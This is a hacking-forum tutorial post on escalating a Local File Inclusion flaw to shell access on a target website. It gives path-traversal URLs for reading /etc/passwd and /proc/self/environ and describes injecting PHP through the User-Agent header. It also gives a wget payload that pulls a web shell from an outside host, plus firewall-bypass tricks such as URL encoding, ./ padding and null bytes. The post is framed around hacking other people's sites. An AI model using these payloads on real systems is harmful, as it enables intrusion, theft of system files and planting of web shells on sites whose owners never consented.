[TUT][LFI] ~ Local File Inclusion to shell access [TUT] 03-24-2014, 06:45 PM
#1
![[Image: res0pij.png]](http://i.imgur.com/res0pij.png)
Local File Inclusion
Note: This tutorial is not new, just an update of my old one.
This will probably be a really boring read as it's as basic as it can be.
So listen to something while reading.
Requirements
- Vuln site
- Tamper data Download link.
- HackBar Download link
etc/passwd is actually a text document database which contains information about users who might have logged into the system.
So first of all we're going to find that text-file and hopefully you got permissions to view it.
So in order to perform the attack add "Etc/passwd" to the end of the Equals sign, like this.
PHP Code:
www.site.com/index.php?filename=2
PHP Code:
www.site.com/index.php?filename=Etc/passwd
If it works, you will get something along these lines:
![[Image: lfi.png?w=480]](http://phpsecurity.files.wordpress.com/2007/11/lfi.png?w=480)
That is the "etc/passwd" text document we talked about earlier in this tutorial. If it didn't work you may need to find the directory. Like this, you need to move up a few directories.
PHP Code:
www.site.com/index.php?filename=../../Etc/passwd
PHP Code:
www.site.com/index.php?filename=../../../Etc/passwd
PHP Code:
www.site.com/index.php?filename=../../../../../../../../Etc/passwd
Let's move on to the shelling part and
Let's say you found the etc/passwd. Now you need to change the etc/passwd to /proc/self/environ
So if you found etc/passwd in this folder -
PHP Code:
www.site.com/index.php?filename=../../../../../../../../Etc/passwd
PHP Code:
www.site.com/index.php?filename=../../../../../../../../proc/self/environ
Now let's open up Tamper Data, if you don't know to reach Tamper-data, press "f10" and select tools -> Tamper-data.
![[Image: 8b7d29454ac808ef82c02cdb0ae33110.png]](http://gyazo.com/8b7d29454ac808ef82c02cdb0ae33110.png)
Now start tampering and only refresh the page you're trying to hack. You can do so by pressing "f5".
![[Image: 89cc9f94ae4a3be03a522f34828c4761.png]](http://gyazo.com/89cc9f94ae4a3be03a522f34828c4761.png)
A tamper request will show up and ask you if you want to -Tamper- -Submit- or -Abort Request-
Press "Tamper" and the addon will start tampering the site.
And a box will show up, similar to this one.
![[Image: 41118a626b6c6d31bb9754eaf3d32cf2.png]](http://gyazo.com/41118a626b6c6d31bb9754eaf3d32cf2.png)
Remove all the text in the User-agent field and put on this php code.
PHP Code:
<?php phpinfo();?>The site you're trying to hack will now appear as "phpinfo()" and you may get some useful info from there. However it will look like this.
![[Image: fig01.gif]](http://gemsres.com/story/mar06/200299/fig01.gif)
Now fire up Tamper-data and start tampering again. In the user-agent field remove every single character in that box and
add this instead.
PHP Code:
<?exec('wget http://www.site.com/shell.txt -O shell.php');?>WEBSITE APPLICATION FIREWALL BYPASS
Instead of using /etc/passwd
you would change every '/' to'%2f' without quotes.
(/=%2f) That's a pretty easy form to remember, keep that in mind.
So the new will be:
PHP Code:
%2fetc%2fpasswd
To bypass the character limit, you could just put in a few more ./././ after the vector and the output would look like this:
PHP Code:
/../etc/passwd/./././././././././././././././././././././././././././././
The infamous null bytes method is probably the easiest of them all.
Simply add this to the end of the url.
PHP Code:
%00
PHP Code:
/etc/passwd%00
This was an update of my old shitty tutorial "LFI TO SHELL".
It is really basic LFI and is not very common.
I beet that I got some errors in my grammar here and there.
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)























![[Image: R5aCcWV.png]](http://i.imgur.com/R5aCcWV.png)